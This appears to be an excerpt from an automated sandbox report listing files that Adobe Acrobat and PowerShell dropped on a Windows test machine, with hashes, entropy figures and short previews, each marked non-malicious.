Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7712

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.069107614981891
Encrypted:	false
SSDEEP:	24:YFu+3QJGm27XHZ2LSCt7aZna0TNpnayGZmmuBJvbZW4xCZqu20Z+nZO8ZMCCDxiW:YFAwmWXZYEtoitbRCwu20wD+JliWxao
MD5:	BEB281FD24BE99954E5361C2470F129A
SHA1:	6EE6BFF657BD00F7EB216C03CB26737449013195
SHA-256:	DE2DD215DEFED48F0EC21B779FD888547837A1A05EB44427CB571536CFD49B3F
SHA-512:	D4F5449234E4DB6CDB09F749A28B5849BC24636725AD820A510569BC471B4BBDF173991EF4051365EFD8A7D432F449A07D73F9FB93C2373CA86E49D79D8F0D59
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1736760501000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d550de899f04b5f1cb01c3a7438d5d96","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696428962000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"cfa45c7829b86b94abc8cd788add6752","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696428962000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"2dd86d6e5f99203c47dd099f6b5e82b8","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1696428955000},{"id":"DC_Reader_RHP_Banner","info":{"dg":"3ef850c86adcfefa30feaf6c5c1404b1","sid":"DC_Reader_RHP_Banner"},"mimeType":"file","size":1395,"ts":1696426848000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"955b63af1bb125ce44faeb9a35adb91d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696426848000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9850970899195681
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpTg4zJwtNBwtNbRZ6bRZ4UgF:TVl2GL7ms6ggOVpTDzutYtp6Pl8
MD5:	E8981B94CBAB26E5D7C45FE0E2EA5FA3
SHA1:	C6AA25F6DBAA0B1FD0C034CF6F8918270BE8610E
SHA-256:	B811C8ECB728533D6060E569C08C0DCEF8338853C19CFEEA472557B586FCA16E
SHA-512:	90FD32E21423B0E20463918E3F0DDDFA1D599A697194799BEE97FA920A0430EC826C39035E4CFFD89557387EDEE9B04BBCF9AC82BB7CF87AB6C4C190808DF568
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3379933188057822
Encrypted:	false
SSDEEP:	24:7+tqAD1RZKHs/Ds/SpTgPzJwtNBwtNbRZ6bRZWf1RZKWqLBx/XYKQvGJF7ursj:7MqGgOVpT8zutYtp6PMvqll2GL7msj
MD5:	E69027C7C5A80E943EB6127ADAF43CAC
SHA1:	8F1A426BD443F71715A1E59185EAE188673EE7C3
SHA-256:	BBEBAB68F13E831AF3AB37CC2D660916DEAEBEAEFE2A45D8A381E4383681A872
SHA-512:	EC21A2FFA46E944E50E3BCC5349EF09790004F598F75E4BF484E008243FA9CFC9A33763858907FE9428293857FFF65E1188F778C808C917CEEC9A2D20E530C19
Malicious:	false
Preview:	.... .c.......!.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgMMlpxCXoEESk0Av1EoQOiHqYyu:6a6TZ44ADEMMlDCYEEZDiKK
MD5:	C0D56520039D0927320D644DD381E587
SHA1:	016DF5728139882120F1E3175D7A8F83A638B0D7
SHA-256:	2397D418364988D206B3CE5146A88FFD293DED06156037139661DE4A0A57108A
SHA-512:	468A0E45C97C167F7847FAC14DFDF9DBD2ED4C102B3684673E041B5E49A841DE930071EC40CD0EA12136BBC0A3D44B483AE5FF9C437C2775A9B4130ECB3ACACD
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI6b7e6.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5325285763919316
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84jClKle:Qw946cPbiOxDlbYnuRKTjm
MD5:	6412CB5B349BD315D0991171D1AB7C26
SHA1:	E048B3C39067F165FD5AE6F2482AEC6D2660F402
SHA-256:	37351113C1C06438A1090616348384601587C783DD142F161D165005985DA65D
SHA-512:	55924CEBD7C35BB7AAF9279A65322BB180459893CB3B6B9612EA07A8F5356D313F889906A13A1FEBEB2072AC49499412AD7579ED0E8C955B523105B93ECFB1D7
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.3./.0.1./.2.0.2.5. . .0.4.:.2.8.:.2.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0kjaadth.kuu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_row5ul0h.5kg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-13 04-28-20-835.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.356661873418984
Encrypted:	false
SSDEEP:	384:hS2D223URM01E7LKH9EQKArOGlGEQHXgeBAkGeuwZ5EZpHm8kYnkpOpEBPZ0bWOW:QTu
MD5:	694E0041DE690FC742F9D6DC3058EDE2
SHA1:	B01BF16A6C5A8E4F254A3A5AFB106EF8622E786C
SHA-256:	73D178A39831E9EE9600D2EEA8368891D62467B3010FF67BAF5C79E73D4048EA
SHA-512:	6C211EDCC7517DD02D4E9BA57F28D7858D987968AFF12FC40B3268421EE8A3B0F9B6DC05D662A766869A827800546BC741F4A780B1264D4FAEC3B2E5CF589F97
Malicious:	false
Preview:	SessionID=2b58f437-a364-429b-a8d1-8aaa6738f2a6.1736760500847 Timestamp=2025-01-13T04:28:20:847-0500 ThreadID=7428 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2b58f437-a364-429b-a8d1-8aaa6738f2a6.1736760500847 Timestamp=2025-01-13T04:28:20:851-0500 ThreadID=7428 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2b58f437-a364-429b-a8d1-8aaa6738f2a6.1736760500847 Timestamp=2025-01-13T04:28:20:851-0500 ThreadID=7428 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2b58f437-a364-429b-a8d1-8aaa6738f2a6.1736760500847 Timestamp=2025-01-13T04:28:20:851-0500 ThreadID=7428 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2b58f437-a364-429b-a8d1-8aaa6738f2a6.1736760500847 Timestamp=2025-01-13T04:28:20:851-0500 ThreadID=7428 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.393340181817234
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbB:N
MD5:	7382ACAC90E970B399277C81062BE8B3
SHA1:	5399E3B7538813F20E0631BCA5D4AED1012A7690
SHA-256:	5DF3B0D9026CB2D3D6DB4C6EDB229A561BF13B702D5CF7020A9ADDF64C3858DF
SHA-512:	92B83CC04B7927BCD786BE76A9CBBE1DEC46CBB26E09C55AF5096B130CF940B6045DBD4033561917A08036E33A56DB0C6FB8EC94D7323B4435E0D2A4EBFE67D9
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\389e189c-e1cb-4728-9b75-a79e012fb57e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7247a7e5-52e2-4e2d-9b3e-4401f4f805af.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\9fe080f7-50d0-4236-8a90-207a536b44cf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
